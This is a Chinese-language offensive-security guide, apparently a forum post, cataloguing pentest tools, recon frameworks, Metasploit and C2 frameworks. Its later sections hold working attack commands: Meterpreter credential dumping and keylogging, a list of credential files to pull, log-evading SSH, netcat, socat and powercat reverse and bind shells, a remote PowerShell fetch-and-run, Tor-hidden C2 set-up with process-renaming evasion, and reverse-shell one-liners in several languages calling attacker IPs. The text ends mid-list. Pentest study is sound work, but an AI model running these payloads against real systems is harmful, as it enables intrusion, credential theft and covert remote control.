|
本文篇幅过长,可在网页左下角处点击目录向导,在目录向导中定位你需要的内容 (某些网站访问可能需要科学上网)!建议收藏 ^_^ !
一、介绍
进攻性安全是一个巨大的领域,有数十种不同的路径和专长,适用于所有类型的有抱负的黑客。一开始可能会让人望而生畏,因为要使用大量的工具、必须学习的技术、流程和程序。对于那些刚开始做的人,请明白一件事:如果它有效,那么它对你来说是正确的!俗话说,"there are many ways to skin a cat (剥猫皮有多种方法)"。 黑客攻击你也是如此。
注:there are many ways to skin a cat,英国一句谚语,原意为 剥猫皮有多种方法,引申意为做好一件事情的方法不只一种,通俗一点就是说条条大路通罗马。
我个人的建议是 在你遇到的每一种工具和技术时尝试去测试它,那里隐藏着一些宝藏等你去发现。即使失败了,你也可以了解技术原因,甚至可以引导自己来开发黑客工具!
二、资源:进攻性安全 / 渗透测试
2.1 官方渗透测试指南
在进攻性安全团队中有不同级别的约定以及必须遵循的不同规则集,有时从约定到约定。其中将面临的最常见问题之一是简单的漏洞评估。这只不过是测试是否存在漏洞,可能为当下流行的漏洞,或者是针对上次漏洞扫描报告的过时服务器。无论哪种方式,它们都快速、简单,但很乏味,而且往往需要大量的工作。
另一种类型的任务是完整的渗透测试,有时它是一个白盒测试。其他时候,这将是一个黑匣子隐身任务,看看你能破坏你的目标有多严重。
在执行结构化渗透测试时,遵循 / 记录正确的程序将是解释你的成功和证明你的发现合理的关键。以下是一些正式和非正式的资源,可以帮助你建立自己的流程、工具包和文档:
2.2 研究人员开发指南和资源
2.3 cheetsheet
三、测试方法
3.1 被动侦察
本节重点介绍渗透测试的第一部分:被动侦察。在这里,你可以使用所有可用的工具和资源来收集目标上的所有信息,而无需与目标进行任何交互 (无扫描)。有关以下框架之外的情报收集的更多工具和资源,请参阅 OSINT 部分 (内容正在路上)。
注意:许多侦察框架同时具有被动和主动侦察能力。
- Penetration Testing: Information Gathering - pg.113
3.2 主动侦察和扫描
在被动侦察阶段之后,下一步是主动扫描。通常涉及端口扫描和扫描目标可能存在的任何漏洞,最好不要让他们注意到。主动扫描确实与你的目标有直接交互,并且确实存在被检测到的风险。有一些方法可以微妙地扫描目标,而不会引起太多动静。可能包括减慢扫描速度或以不创建会触发任何防御性警报的完整连接请求的方式执行它们。
以下部分将包含扫描工具和资源,例如端口扫描器、漏洞扫描器等等!
扫描与主动侦察 - http://bbs.decoyit.com/thread-96-1-1.html
3.3 漏洞利用
3.3.1 漏洞利用研究
漏洞利用研究 - http://bbs.decoyit.com/thread-97-1-1.html
3.3.2 攻击你的目标
在找到你的目标并枚举它之后,现在是进行初始访问的时候了。此步骤通常侧重于利用对你开放的端口/服务。正如可以在下面的指南和列表中看到的那样,有很多不同的方法可以做到这一点。
请记住,仅仅因为你不能完全利用一项服务并不意味着它不会有帮助。某些服务可能有有趣的情报,可能会帮助你利用其他东西,例如具有匿名身份验证的开放式 FTP 服务器,其中包含一些具有有效用户名的文档 (你会发现更糟糕的事情)。
一旦有你的初始利用,基本上就可以尝试第二轮,那就是提升权限。有时,这可以通过在另一个受信任的盒子上获得初始访问权限来完成,甚至可以通过在环回内部运行的服务来完成。检查一切,到处寻找,不要忘记 OSCP 的口号,"努力工作!"
有关利用特定服务的参考,请参阅利用:内容正在路上 ......
四、进攻性工具箱
4.1 操作系统
- Kali Linux - Kali Linux 是一个基于 Debian 的开源 Linux 发行版,适用于各种信息安全任务,例如渗透测试、安全研究、计算机取证和逆向工程;
- Parrot OS - Parrot OS 是 Parrot Security 的旗舰产品,是基于 Debian 的 GNU/Linux 发行版,在设计时考虑了安全性和隐私性。包括一个完整的便携式实验室,用于各种网络安全操作,从渗透测试到数字取证和逆向工程,还包括开发你自己的软件或保持数据安全所需的一切;
- Commando-VM - Complete Mandiant Offensive VM (Commando VM),一个完全可定制的基于 Windows 的渗透测试虚拟机分发;
- ThreatBox - 一个方便的攻击性 Linux 发行版,它使用一组 Ansible Playbook 进行自动化和部署;
- Exegol - Exegol 是一个完全配置的 docker,具有许多有用的附加工具、资源 (用于 privesc、凭据盗窃等脚本和二进制文件) 和一些配置 (oh-my-zsh、历史、别名、某些工具的彩色输出)。它可用于渗透测试、bugbounty、CTF、HackTheBox、OSCP 实验室和考试等;(1)
- AriaCloud - 一个远程渗透测试 Docker 容器,重点包括用于 Azure、AWS 和 GCP 的云渗透测试工具;
- https://blackarch.org/ - 基于 Arch 的进攻分布;
4.2 Recon 框架
Recon 框架在渗透测试中任何侦察阶段起到关键支撑作用,可以检索的大量信息,还可用于协助执行威胁追踪、威胁情报和攻击面映射等。
4.2.1 Spiderfoot
Spiderfoot 是我进行 OSINT 搜索的首选,它不仅易于使用,而且具有出色的 Web UI 和可加载模板,可以根据需要定制扫描。有 200 多个不同的模块来收集有关你的目标不同信息。这些模块可以调用其他命令行实用程序以及 Web 服务来提取数据。其中一些模块需要 API 密钥,但大多数服务提供免费版本。获得尽可能多的这些免费 API 密钥是可取的,获得 API 密钥后,可以将它们保存为扫描模板的一部分,以便轻松导入和使用它们。与任何出色的工具一样,请务必阅读 文档,并查看有关该工具的一些 视频教程。
4.2.2 Recon-ng
Recon-ng 这个命令行工具是侦察的标准,Tim Tomes (lanmaster53) 用它完成了令人难以置信的工作,为各种需求制作了大量的模块。它是一个灵活的 Python 框架,非常适合自动化任务。将 API 密钥加载到 Recon-ng 模块的查找文件后,可以选择部分或全部模块来运行并将结果输出到选择的文件中,因为 Recon-ng 中的模块可以独立运行并且可以很容易地编写脚本,所以很容易将其模块合并到被动侦察之外的其他工作流程中。看看所有这些,看看你可以使用什么。Recon-ng 拥有大量资源,但到目前为止,BlackHills Infosec 演练是如何使用此工具的最佳指南,还可以查看 Tim 的网站以及他的培训和其他工具。
视频:https://www.youtube.com/watch?v=0J6Auz88iTY
4.2.3 其它框架
这些框架执行许多与前两个框架相同的任务,有些仍在积极开发中,并承诺在未来扩展功能。
- Maltego - Maltego 是一个开源情报和图形链接分析工具,用于收集和连接调查任务的信息;
- sn0int - 半自动 OSINT 框架和包管理器,它是为 IT 安全专业人员和漏洞搜寻者而构建的,用于收集有关给定目标或你自己的情报;
- Raccoon - 一个以攻击性安全为重点的框架,可以执行大量 OSINT 以及对目标进行主动扫描,以便在尝试利用之前获得所需的一切;
- ReconSpider - 另一个出色的进攻性侦察工具,可以很好地选择以不同的视觉效果呈现数据,以帮助你概念化目标周围的数据;
- OWASP Maryam - 基于 OSINT 和数据收集的模块化开源框架,旨在提供一个强大的环境,以快速、彻底地从开源和搜索引擎中收集数据。
- Discover Scripts - 作为最早的进攻性侦察工具之一,Lee Baird 的发现脚本是一组自定义脚本,用于自动化渗透测试的初始阶段;
- DarkSide - 工具信息收集和社会工程 作者 [Python,JS,PHP]
- ReconFTW - ReconFTW 旨在通过运行最好的工具集来执行扫描和发现漏洞,对目标域执行自动侦察;
- DMitry 可以查找可能的子域、电子邮件地址、正常运行时间信息、执行 tcp 端口扫描、whois 查找等;
- Z4nzu/hackingtool - 全面的多合一黑客工具;
- finalrecon - 一个用于网络侦察的快速而简单的 Python 脚本,它遵循模块化结构并提供有关各个领域的详细信息;
- gasmask - 多合一信息收集工具;
视频:https://www.youtube.com/watch?v=zemNLx0-LRw
4.3 攻击性框架
4.3.1 Metasploit
到目前为止,最受欢迎的 Metasploit 已成为各地渗透测试人员的必备工具。Metasploit 包含你需要了解的 3 个基本组件。Metasploit 模块 是利用特定漏洞所需的利用命令和代码。当开发新的漏洞利用代码时,它们有很多,并且会不断添加到数据库中。对于那些希望参加 OSCP 考试的人来说,漏洞利用代码本身可以在考试中使用,但只能通过 Metasploit 本身使用一次以进行自动漏洞利用。Merterpreter 是 Metasploit 附带的高级 shell。它附带了许多你无法在传统 shell 中使用的附加命令,包括简单的权限提升。使用 AV 和 EDR 解决方案,这种 shell 变得越来越容易检测,因此通常需要高级编码,但值得付出努力。MSVenom 是一种工具,可以对你的 payload 进行编码以绕过目标防御的检测。你将很快习惯于对你使用的所有内容进行编码,甚至可以将编码链接在一起。
4.3.1.1 Metasploit 指南
4.3.1.2 Metasploit 模块
4.3.1.3 Metasploit 漏洞利用和攻击
4.3.1.4 Metasploit GUI - Armitage
Armitage:https://tools.kali.org/exploitation-tools/armitage
4.3.1.5 Metasploit payloads
4.3.1.6 Metasploit Payload 编码器 - MSFVenom
MSFVenom - https://www.offensive-security.com/metasploit-unleashed/msfvenom/
4.3.1.7 Meterpreter
Meterpreter 后期开发模块 ◇ > 使用 post/windows/gather/enum_logged_on_users ◇ Railgun - Meterpreter 扩展,允许直接访问 Windows API ◇ IRB -meterpreter 中的 ruby shell
Meterpreter Post Auth
信息收集
- getuid
- getpid
- getsprivs
- sysinfo
- screenshot
- run winenum.rb
- run scraper.rb
- run checkvm
- run credscollect
- run get_local_subnets
Priv Esc
- ps then migrate
- getsystem
Tokens
- list_tokens -u
- impersonate_token
- steal_token [pid]
- rev2self
找回密码
- hashdump
- cachedump
- post/windows/gather/smart_hashdump
- post/windows/gather/credentials/vnc
会话
- enumdesktops
- getdesktop
- setdesktop
- uictl disable keyboard
键盘记录
- keyscan_start
- keyscan_dump
- keyscan_stop
- Nix Post Auth
禁用防火墙
- /etc/init.d/iptables save
- /etc/init.d/iptables stop
- iptables-save > root/firewall.rules
- iptables-restore < /root/firewall.rules
要 pull 的文件
- /etc/passwd
- /etc/shadow OR /etc/security/shadow
- /etc/groups OR /etc/gshadow
- /home//.ssh/id
- /etc/sudoers
用户信息
- grep ^ssh /home//.hist
- grep ^telnet /home//.hist
- grep ^mysql /home//.hist*
视频:https://www.youtube.com/watch?v=xsyeL6xWWy4
4.3.1.8 参考
- RTFM: Metasploit - pg. 56
- PTFM: Metasploit Commands - pg. 160
- PTFM: Persistence with Metasploit/Empire - pg. 26
- PTFM: Host Enumeration with Metasploit/Empire - pg. 46
- PTFM: Metasploit/Emipre Pass-the-hash - pg. 52
- Operator Handbook: Metasploit - pg.198
- Operator Handbook: MSFVenom - pg.208
4.3.2 PowerShell Empire
Empire 3 是一个后利用框架,包括一个纯 PowerShell Windows 代理,并与 Python 3.x Linux/OS X 代理兼容。它是之前的 PowerShell Empire 和 Python EmPyre 项目的合并。该框架提供密码安全的通信和灵活的架构。Empire 以前是一个废弃的项目,BC-Securty 已经恢复了。请注意,在阅读有关 Emipre 的旧帖子或指南时,它们可能不完全准确到项目的新版本。
4.3.2.1 资源
视频:https://www.youtube.com/watch?v=52xkWbDMUUM
4.3.3 多合一渗透测试工具包
- Sn1per - 使用我们的持续攻击面管理 (ASM) 平台 - Sn1per Professional 发现攻击面并确定风险的优先级。有关更多信息,请访问 https://xerosecurity.com;
- Legion - Legion 是一种工具,它使用几个著名的开源工具来自动、半自动或手动枚举在你可能需要渗透测试的机器上运行的最常见的服务。由 WinPEAS、LinPEAS 和 book.hacktricks 的创建者 Carlos Pollop 撰写,这个家伙所做的一切都非常棒,最高推荐;
- celerystalk - celerystalk 帮助你使用异步作业 (又名任务) 自动化网络扫描/枚举过程,同时保留对要运行的工具的完全控制,超级方便将所有你喜欢的工具串在一起;
- lscript - Lazy Script 是 Kali Linux 的一个脚本,可以自动执行许多有关 wifi 渗透和黑客攻击的程序;
- KatanaFramework - Katana 是一个用 python 编写的用于渗透测试的框架,基于一个简单而全面的结构,任何人都可以使用、修改和共享;
- Osmedeus - Osmedeus 允许自动运行一系列很棒的工具来对目标进行侦察和漏洞扫描;
- OWASP/Nettacker - 创建 OWASP Nettacker 项目是为了自动收集信息、扫描漏洞并最终生成网络报告,包括服务、错误、漏洞、错误配置和其他信息;
- Sifter - Sifter 是一个备货充足的渗透测试者操作中心,它在分类的 modset 中结合了大量的 OSINT、侦察和漏洞分析工具,以便快速执行侦察任务、检查网络防火墙、枚举远程和本地主机,并扫描微软内部的 "蓝色" 漏洞,如果未修补,则利用它们;
- Jok3r - Jok3r 是一个 Python3 CLI 应用程序,旨在帮助渗透测试人员进行网络基础设施和网络黑盒安全测试;
- Xerror - Xerror 是一个自动化渗透工具,它将帮助安全专业人士和非专业人士自动化他们的渗透测试任务;
- WinPwn - 基于 Powershell 的侦察和利用脚本,具有自动代理识别和集成功能;
- axiom - 适合所有人的动态基础架构框架!轻松分配许多不同扫描工具的工作负载,包括 nmap、ffuf、masscan、nuclei、meg 等等!
4.4 C2 框架
C2 框架(Post Exploitation Frameworks)是用于管理与受损资产的连接的命令和控制工具。进攻性测试人员可以使用这些来研究和测试他们的环境对攻击者使用的流行工具的防御。
警告:这些不得用于恶意用途,仅用于测试目的。
4.4.1 命令与控制基础 (C2)
- implant 是漏洞利用的 payload 组件,将在受害者的计算机上执行。一旦 implant 在目标系统上运行,它将尝试定期回调 C2 服务器以检查新命令;
- 与受害系统上的 implant 通信的 C2 服务器在复杂性和功能上各不相同,但基本功能允许攻击者等待 implant 执行的命令。C2 服务器命令通常处理两个方面:implant 配置和与受感染主机的交互;
- 上面第二点这方面的示例包括更改 beacon 时间和泄露 Windows SAM 文件,命令可以与大多数 C2 服务器排队,允许在特定时间执行操作,这有助于在高峰时段融入网络流量,或在安全团队下班时进行沟通;
- C2 服务器通常配置为看起来好像它们正在运行常见服务,例如 HTTP 或 DNS。这有助于通信看起来像合法流量,如果部署了 Snort 或 RSA 的 Netwitness 等工具并监控受害者的网络,这将有助于避免检测;
- 为了进一步混淆网络通信,大多数植入程序都支持 domain fronting。Domain fronting 是一种将通信嵌入内容交付网络 (CDN) 的技术。这导致流量的目的地似乎是受信任的 CDN 网络,例如 Cloudfront、Google 和 Cloudflare。 使用 Domain fronting,如果蓝队识别并阻止特定的 CDN,则可以快速更改 CDN (尽管这可能是一个挑战,因为它可能会阻止合法流量)。
- Advanced Penetration Testing: C2 Basics and Essentials - pg. 19
- Advanced Penetration Testing: C2 Advanced Attack Management - pg. 45
- Advanced Penetration Testing: Creating a covert C2 Solution - pg. 112
4.4.2 Cobalt Strike
Cobalt Strike 用于攻击模拟和红队操作的软件
4.4.3 PoshC2
PoshC2 - PoshC2 是一个代理感知 C2 框架,用于帮助渗透测试人员进行红队、后期利用和横向移动,这是我选择的框架。
4.4.3.1 PoshC2 命令使用
- https://poshc2.readthedocs.io/
- 要运行 PoshC2,请导航到安装目录并运行 C2Server.py,这将启动为 implant payloads 提供服务的服务器,并与任何正在运行的 implant 进行通信
- 在运行 C2Server.py 之前,可以使用 Config.py 修改 C2 服务器的配置并重新启动任何正在运行的服务器
- C2 服务器启动后,将向用户显示 payload 列表,可用于社会工程攻击或可访问 cmd.exe 或 powershell.exe
- 为了与我们部署的任何 implant 进行通信和发出命令,我们必须使用 "ImplantHandler.py" 连接到 C2 服务器
4.4.4 DNScat2
DNScat2 - 该工具旨在通过 DNS 协议创建一个加密的命令和控制 (C&C) 通道,该通道是几乎每个网络的有效隧道。
4.4.5 其它框架
- https://www.thec2matrix.com/matrix - 查找所有流行的 C2 框架
- SILENTTRINITY - SILENTTRINITY 是由 Python 3 和 .NETs DLR 提供支持的现代、异步、多人和多服务器 C2/post-exploitation 框架
- Mythic - 使用 python3、docker、docker-compose 和 Web 浏览器 UI 构建的跨平台、后利用、红队框架
- Kaodic - Koadic 或 COM 命令与控制是一种 Windows 后利用 rootkit,类似于其他渗透测试工具,如 Meterpreter 和 Powershell Empire,主要区别在于 Koadic 使用 Windows Script Host (又名 JScript/VBScript) 进行大部分操作,其核心兼容支持 Windows 2000 的默认安装,没有任何服务包 (甚至可能是 NT4 版本)
- trevorc2 - TrevorC2 由 TrustedSec 的 Dave Kennedy 编写,是一种客户端 / 服务器模型,用于通过通常可浏览的网站屏蔽命令和控制。由于时间间隔不同并且不使用 POST 请求来获取数据,因此检测变得更加困难
- Merlin - Merlin 是一个用 Go 编写的跨平台后利用 C2 服务器和代理
- Prismatica - Project Prismatica 是一个专注于命令和控制的框架,致力于可扩展性。我们的核心目标是提供一个带有模块化传输、后端和植入的便捷平台,以实现快速重组机会并增强红队的运营
- Gdog (gcat 替换) - 一个隐秘的基于 Python 的 Windows 后门,它使用 Gmail 作为命令和控制服务器。这个项目的灵感来自 byt3bl33d3r 的 gcat
- DarkFinger-C2 - Windows TCPIP Finger 命令/C2 通道和绕过安全软件
- Godoh - DNS-over-HTTPS C2
- sliver - 这个包包含一个通用的跨平台植入框架,支持 C2 over Mutual-TLS、HTTP(S) 和 DNS。implant 是使用首次运行二进制文件时生成的每个实例证书颁发机构签名的唯一 X.509 证书动态编译的
- PTFM: C2 Tools - pg. 62
4.4.6 RM 和 RAT
4.4.7 Tor C2
C2 服务器可以作为 Tor 网络中的一个节点进行配置,并在受感染的主机联机时强制连接到 Tor。
- Torrc 文件 - Tor 将其配置存储在一个名为 torrc 的文件中
- 为了创建隐藏服务,将以下行添加到 torrc 文件中
- # Configure hidden service directory
- HiddenServiceDir /home/username/tor_hidden
- # C2 Web Port
- HiddenServicePort 443 127.0.0.1:443
- # C2 SSH Port
- HiddenServicePort 7022 127.0.0.1:7022
- #C2 Metasploit Listener
- HiddenServicePort 8080 127.0.0.1:8080
复制代码
- 隐藏的服务目录将是我们的服务器存储密钥的地方,并且应该在 Web 服务器的根目录之外
- 下次启动 Tor 时,会在 tor_hidden 目录下创建两个文件,这些文件是一个 prive_key 和一个包含公钥的主机名文件
- 当 C2 处于活动状态并使用此配置通过 Tor 网络进行配置时,世界任何地方的 C2 代理都可以访问它
- 配置 C2 代理以使用 Tor 网络
- 一旦 C2 服务器配置为接受 Tor 上的连接,下一步就是启用部署在受感染机器上的 C2 代理来执行此操作
- 最简单的方法是将 tor.exe 与代理捆绑在一起,不带参数执行 ti,这将导致它在隐藏窗口中运行并在 localhost 9050 上打开一个 SOCKS 代理端口
- 请重命名,使其不会立即显示在 Windows 进程列表中
- 需要进行的更改,将 SSH 隧道 IP 从代码中的 Internet IPv4 地址更改为指向前面提到的 .onion 地址
- 告诉 SSH SOCKS 代理上游到 TCP 9050 上的 Tor SOCKs 代理
4.5 Shells
4.5.1 Shell 收集
4.5.2 Shell 工具
- dbd - dbd 是一个 Netcat-clone,旨在便携并提供强大的加密,在类 Unix 操作系统和 Microsoft Win32 上运行,dbd 具有 AES-CBC-128 + HMAC-SHA1 加密 (由 Christophe Devine 提供)、程序执行 (-e 选项)、选择源端口、连续重新连接延迟以及其他一些不错的功能
- sbd - sbd 是一个 Netcat-clone,旨在便携并提供强大的加密,在类 Unix 操作系统和 Microsoft Win32 上运行,sbd 具有 AES-CBC-128 + HMAC-SHA1 加密 (由 Christophe Devine 提供)、程序执行 (-e 选项)、选择源端口、延迟连续重新连接以及其他一些不错的功能,sbd 仅支持 TCP/IP 通信
- Reverse Shell and Post Exploitation tool - RSPET (Reverse Shell and Post Exploitation Tool) 是一个基于 Python 的反向 shell,配备了有助于后期利用场景的功能
- Reverse Shell Generator - Cheater 工具生成反向 shell
- ShellPop - 使用此工具可以生成简单而复杂的反向或绑定 shell 命令,以在渗透测试期间为您提供帮助
- SQL webshell - 可以在目标上运行命令行操作以及与目标上的 MSSQL 数据库交互的 Webshell
- Shellerator - 用于生成多种语言的绑定和反向 shell 的简单 CLI 工具
- donut - 生成 x86、x64 或 AMD64+x86 位置无关的 shellcode,从内存中加载 .NET 程序集、PE 文件和其他 Windows 有效负载并使用参数运行它们
- ibombshell - 这个包包含一个用 Powershell 编写的工具,它允许你随时使用后利用功能 (在某些情况下是利用) 进行提示
- Weevely - Weevely 是一个为后期开发目的而设计的 web shell,可以在运行时通过网络进行扩展
视频:https://www.youtube.com/watch?v=Ig-HS6kxz4Q
4.5.3 SSH
- Basic Use: #ssh [user]@[host]
- Use a specific key and port:#ssh -i ~/.ssh/id_rsa -p [port] [user]@[host]
- SOCKS 代理:ssh -D8080 [user]@[host]
- Execute a one line command:ssh -i ~/.ssh/id_rsa [user]@[host] “command string”
- Local Port Forward:ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]
- Remote Port Forward:ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]
- SSH tunnel through T1 to T2:ssh [user]@[T1 IP] -L [Local LPORT]:[T2 IP]:[T2 LPORT] -R [Local LPORT 2]:[Local IP]:[T1 LPORT]
- Almost invisible SSH
- ssh -o UserKnownHostsFile=/dev/null -T user@server.org "bash -i"
复制代码 这不会将你的用户添加到 /var/log/utmp 文件中,并且不会出现在 w 或 who 命令的登录用户中。它也会绕过 .profile 和 .bash_profile 。在你的客户端,它将停止将主机名记录到 ~/.ssh/known_hosts - SSH tunnel OUT
我们一直使用它来绕过本地防火墙和 IP 过滤:
- ssh -g -L31337:1.2.3.4:80 user@server.org
复制代码 你或其他任何人现在可以通过端口 31337 连接到你的计算机,并通过隧道连接到 1.2.3.4 端口 80,并显示为 "server.org" 的源 IP。另一种不需要服务器的方法是使用 gs-netcat - SSH tunnel IN
我们使用它来让朋友访问不在公共 Internet 上的内部机器:
- ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 user@server.org
复制代码 现在将你的浏览器配置为使用带有 127.0.0.1:1080 的 SOCKS。你的所有流量现在都通过 server.org 进行隧道传输,并将显示为 server.org 的源 IP,另一种不需要服务器的方法是使用 gs-netcat - SSH socks4/5 IN
这与上面的例子相反,它允许其他人访问你的本地网络或让其他人将你的计算机用作隧道端点。
- ssh -g -R 1080 user@server.org
复制代码 其他人将 server.org:1080 配置为他们的 SOCKS4/5 代理。他们现在可以连接到你的计算机可以访问的任何端口上的任何计算机,这包括访问本地网络上防火墙后面的计算机,另一种不需要服务器的方法是使用 gs-netcat
4.5.4 原始的 shell 工具 Netcat
- 参考
- 设置监听器
- 连接端口
- 通过 netcat 推送文件
- #nc -nv [ip] [port] < /full/path/to/file.exe
- 捕获推送的文件并将其写入新文件
- #nc -nvlp [port] > incoming.exe
- 连接时启动命令
- #nc -nlvp [port] -e cmd.exe
- 升级非交互式 shell
- Check python version in /usr/bin
- # python2.6 -c "import pty; pty.spawn('/bin/bash')"
- 反向 shell
- TARGET # nc [ip] [port] -e /bin/bash
- ATTACKER # nc -n -vv -l -p [port]
- 带有 GAPING _SECURITY_HOLE_disabled 的 Netcat
- 当你无权访问 -e 选项 (连接后执行命令) 时,将文件系统中的命令从 netcat 返回到 bin/bash
- TARGET # mknod backpipe p && nc [ip] [port] 0<backpipe | /bin/bash 1>backpipe
- ATTACKER # nc -n -vv -l -p [port]
- 无 netcat 的 Netcat (/dev/tcp)
- TARGET # /bin/bash -i > /dev/tcp/[IP]/[port] 0<&1 2>&1
- ATTACKER # nc -n -vv -l -p [port] • netcat without netcat or /dev/tcp
- TARGET # mknod backpipe p && telnet [ip] [port] 0<backpipe | /bin/bash 1>backpipe
- ATTACKER # nc -n -vv -l -p [port]
- Linux 监听器绑定shell,在连接时执行 bin bash
- #mkfifo /tmp/f; nc -lvnp < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
- Operator Handbook: Netcat - pg. 209
视频:https://www.youtube.com/watch?v=KlzSBk7VMss
4.5.5 升级后的可加密 Netcat - Socat
- https://github.com/3ndG4me/socat - Socat 独立二进制集合
- Socat - 建立两个双向 btye 流并在它们之间传输数据
- 绑定 shell - Linux 连接到 IP 和端口
- # socat TCP:[ip]:[port] EXEC: “bash -li”,pty,stderr,sigint,setsid,sane
- 绑定 shell - Windows 连接到 IP 和端口
- # socat TCP:[ip]:[port] EXEC:powershell.exe,pipes
- 在端口上设置监听器
- 设置具有稳定 shell 的监听器
- # socat TCP-L:[port] FILE:tty,raw,echo=0
- 在端口上共享文件
- # socat TCP-L:[port],fork file:[file name]
- 加密 shell
- 使用 open ssl 创建自签名证书并加密
- # openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
- # cat shell.key shell.crt > shell.pem
- 反向 shell
- #sudo socat OPENSSL-LISTEN:443,cert=shell.pem,verify=0,FILE:tty,raw,echo=0
- 反向监听器
- #sudo socat OPENSSL:[ip]:[port], verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
- 绑定 shell
- #socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes - Target
- #socat OPENSSL::,verify=0 - -Attacker
- https://www.hackingarticles.in/socat-for-pentester/
4.5.6 Netcat powershell 版本 (支持 Powershell 版本 2 及更高版本)
- Powershell enableing
- 当出现用户帐户控制提示时,选择是并输入 Set-ExecutionPolicy Unrestricted:
- 我们可以下载到 Windows 主机以利用 Powershell 并简化 shell 的脚本
- 在 linux 上安装
- #apt install powercat
- places in /usr/share/windows-resources/powercat
- 设置
- 使用目标主机上的脚本,首先使用 Dot-sourcing 的 PowerShell 功能来加载 powercat.ps1 脚本。这将使脚本中声明的所有变量和函数在当前 PowerShell 范围内可用。这样,我们就可以直接在 PowerShell 中使用 powercat 函数,而不用每次都执行脚本
- 如果目标机器连接到互联网,可以再次使用方便的 iex cmdlet 对远程脚本执行相同操作
- > iex (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
- Powercat 文件传输
- 在 Attackers Kali 实例上设置监听器
- # sudo nc -lnvp 443 > receiving_powercat.ps1
- 在 windows 机器上调用 power cat
- > powercat -c 10.11.0.4 -p 443 -i C:\Users\Offsec\powercat.ps1
- -c specifies client mode and sets listening address
- -p is the destination port
- -i indicates the local file that will be transferred remotely
- 反向 shell
- > powercat -c [dest ip] -p [dest port] -e cmd.exe
- 绑定 shell - 监听器
- > powercat -l -p [listener port] -e cmd.exe
- 独立 payloads
- 将 powercat 功能和给定命令保存为脚本
- > powercat -c 10.11.0.4 -p 443 -e cmd.exe -g > reverseshell.ps1
- > ./reverseshell.ps1
- 警告:这些脚本相当大,并且有硬编码的字符串会触发 IDS*
- Powershell 可以执行 Base64 编码的命令
- 可以在重定向到输出文件时使用 -ge 选项
- > powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge > encodedreverseshell.ps1
- 由于 powershell 的工作方式,你无法按原样执行新脚本,但必须运行其内容
- > powershell.exe -E [encoded command string]
- https://www.hackingarticles.in/powercat-for-pentester/
4.5.7 pwncat
该软件包包含具有防火墙、IDS/IPS 规避、绑定和反向 shell、自注入 shell 和端口转发 magic 的 Netcat以及完全可使用 Python (PSE) 编写脚本。
4.5.8 gsocket
自由连接,安全,Global Socket Toolkit 允许 NAT / 防火墙后面的两个用户相互建立 TCP 连接,安全。更多 https://www.g socket.io
Global Socket Toolkit 附带一组工具:
- gsocket - 使现有程序 (在防火墙或 NAT 之后) 可从世界任何地方访问,通过分析程序并用自己的 Gsocket-Layer 替换 IP-Layer 来做到这一点。客户端连接到以 '*.gsocket' 结尾的主机名然后会被自动重定向 (通过 GSRN) 到这个程序
- gs-netcat - 使用真正的 PTY / 交互式命令 shell (gs-netcat -s MySecret -i)、集成文件传输、生成 Socks4/4a/5 代理或转发 TCP 连接或给某人临时 shell 访问权限
- gs-sftp - 两个防火墙工作站之间的 sftp 服务器和客户端 (gs-sftp -s MySecret)
- gs-mount - 访问和挂载远程文件系统 (gs-mount -s MySecret ~/mnt/warez)
- blitz - 将数据从工作站复制到工作站 (blitz -s MySecret /usr/share/*)
- ...更多示例和工具
- 使用 gs-netcat 反向 shell
使用 gs-netcat 生成一个功能齐全的 PTY 反向 shell 并使用全局套接字中继网络。它使用 "密码哈希" 而不是 IP 地址进行连接。这意味着你不需要运行自己的命令和控制服务器来连接后门。如果 netcat 是瑞士军刀,那么 gs-netcat 就是德国战斧:>
- gs-netcat -s MySecret -l -i # Host
复制代码 使用 -D 在后台 (守护程序) 启动反向 shell,如果被杀死,则使用看门狗自动重启。
要从工作站连接到 shell:
使用 -T 通过 TOR 隧道。
4.5.9 关于 shell 的指南和资源
4.5.9.1 Shell Cheatsheets
4.5.9.2 滥用 TTY Shell
https://netsec.ws/?p=337
4.5.9.3 更新 Shell
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
反向 shell 升级到完全交互式 - Linux
4.5.10 Shell One-Liners
- Bash
- bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
- Netcat with out -e flag
- #rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f
- Netcat
- #nc -e /bin/sh 10.10.10.10 4443
- Netcat windows
- #nc -e cmd.exe 10.10.10.10 4443
- Perl
- perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- Python
- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- Php
- php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
- Ruby
- ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
- Java
- r = Runtime.getRuntime()
- p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
- p.waitFor()
- Powershell - reverse shell
